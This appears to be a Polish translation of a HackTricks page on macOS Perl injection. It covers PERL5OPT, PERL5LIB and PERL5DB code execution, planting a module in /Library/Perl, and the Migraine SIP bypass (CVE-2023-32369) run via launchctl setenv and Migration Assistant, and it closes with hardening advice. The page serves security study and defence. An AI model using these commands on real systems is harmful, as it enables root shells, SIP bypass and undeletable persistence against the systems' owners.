101 lines
5.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# macOS Perl Applications Injection
{{#include ../../../banners/hacktricks-training.md}}
## Poprzez zmienną środowiskową `PERL5OPT` & `PERL5LIB`
Używając zmiennej środowiskowej **`PERL5OPT`**, możliwe jest zmuszenie **Perl** do wykonywania dowolnych poleceń, gdy interpreter się uruchamia (nawet **przed** zanalizowaniem pierwszej linii docelowego skryptu). Na przykład, stwórz ten skrypt:
```perl:test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";
```
Teraz **wyeksportuj zmienną środowiskową** i uruchom skrypt **perl**:
```bash
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
```
Inną opcją jest stworzenie modułu Perl (np. `/tmp/pmod.pm`):
```perl:/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
```
A następnie użyj zmiennych środowiskowych, aby moduł był lokalizowany i ładowany automatycznie:
```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
```
### Inne interesujące zmienne środowiskowe
* **`PERL5DB`** gdy interpreter jest uruchamiany z flagą **`-d`** (debugger), zawartość `PERL5DB` jest wykonywana jako kod Perl *w kontekście* debuggera.
Jeśli możesz wpływać zarówno na środowisko **jak i** flagi wiersza poleceń uprzywilejowanego procesu Perl, możesz zrobić coś takiego:
```bash
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # uruchomi powłokę przed wykonaniem skryptu
```
* **`PERL5SHELL`** w systemie Windows ta zmienna kontroluje, który plik wykonywalny powłoki Perl użyje, gdy będzie musiał uruchomić powłokę. Wspomniano o niej tutaj tylko dla pełności, ponieważ nie jest istotna w macOS.
Chociaż `PERL5DB` wymaga przełącznika `-d`, powszechnie można znaleźć skrypty konserwacyjne lub instalacyjne, które są wykonywane jako *root* z włączoną tą flagą dla szczegółowego rozwiązywania problemów, co czyni tę zmienną ważnym wektorem eskalacji.
## Poprzez zależności (nadużycie @INC)
Możliwe jest wylistowanie ścieżki dołączania, którą Perl będzie przeszukiwał (**`@INC`**), uruchamiając:
```bash
perl -e 'print join("\n", @INC)'
```
Typowy wynik na macOS 13/14 wygląda następująco:
```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
Niektóre z zwróconych folderów nawet nie istnieją, jednak **`/Library/Perl/5.30`** istnieje, *nie* jest chroniony przez SIP i znajduje się *przed* folderami chronionymi przez SIP. Dlatego, jeśli możesz pisać jako *root*, możesz umieścić złośliwy moduł (np. `File/Basename.pm`), który będzie *preferencyjnie* ładowany przez każdy skrypt z uprawnieniami importujący ten moduł.
> [!WARNING]
> Nadal potrzebujesz **root** do pisania w `/Library/Perl`, a macOS wyświetli monit **TCC** prosząc o *Pełny dostęp do dysku* dla procesu wykonującego operację zapisu.
Na przykład, jeśli skrypt importuje **`use File::Basename;`**, możliwe byłoby stworzenie `/Library/Perl/5.30/File/Basename.pm` zawierającego kod kontrolowany przez atakującego.
## Ominięcie SIP za pomocą Asystenta Migracji (CVE-2023-32369 “Migrena”)
W maju 2023 roku Microsoft ujawnił **CVE-2023-32369**, nazywany **Migreną**, technikę poeksploatacyjną, która pozwala atakującemu *root* całkowicie **ominąć Ochronę Integralności Systemu (SIP)**.
Wrażliwym komponentem jest **`systemmigrationd`**, demon z uprawnieniem **`com.apple.rootless.install.heritable`**. Każdy proces potomny uruchomiony przez ten demon dziedziczy to uprawnienie i dlatego działa **poza** ograniczeniami SIP.
Wśród dzieci zidentyfikowanych przez badaczy znajduje się interpreter podpisany przez Apple:
```
/usr/bin/perl /usr/libexec/migrateLocalKDC …
```
Ponieważ Perl respektuje `PERL5OPT` (a Bash respektuje `BASH_ENV`), zanieczyszczenie *środowiska* demona jest wystarczające, aby uzyskać dowolne wykonanie w kontekście bez SIP:
```bash
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
```
Kiedy `migrateLocalKDC` jest uruchamiane, `/usr/bin/perl` startuje z złośliwym `PERL5OPT` i wykonuje `/private/tmp/migraine.sh` *zanim SIP zostanie ponownie włączony*. Z tego skryptu można na przykład skopiować ładunek do **`/System/Library/LaunchDaemons`** lub przypisać rozszerzony atrybut `com.apple.rootless`, aby uczynić plik **nieusuwalnym**.
Apple naprawiło problem w macOS **Ventura 13.4**, **Monterey 12.6.6** i **Big Sur 11.7.7**, ale starsze lub niezałatane systemy pozostają podatne na ataki.
## Rekomendacje dotyczące zabezpieczeń
1. **Wyczyść niebezpieczne zmienne** uprzywilejowane launchdaemons lub zadania cron powinny startować w czystym środowisku (`launchctl unsetenv PERL5OPT`, `env -i`, itd.).
2. **Unikaj uruchamiania interpreterów jako root**, chyba że jest to ściśle konieczne. Używaj skompilowanych binariów lub szybko zrzucaj uprawnienia.
3. **Dostarczaj skrypty z `-T` (tryb zanieczyszczenia)**, aby Perl ignorował `PERL5OPT` i inne niebezpieczne przełączniki, gdy sprawdzanie zanieczyszczenia jest włączone.
4. **Utrzymuj macOS w aktualności** “Migraine” jest w pełni załatane w bieżących wydaniach.
## Odnośniki
- Microsoft Security Blog “Nowa podatność macOS, Migraine, może obejść Ochronę Integralności Systemu” (CVE-2023-32369), 30 maja 2023.
- Hackyboiz “Badanie obejścia SIP w macOS (PERL5OPT & BASH_ENV)”, maj 2025.
{{#include ../../../banners/hacktricks-training.md}}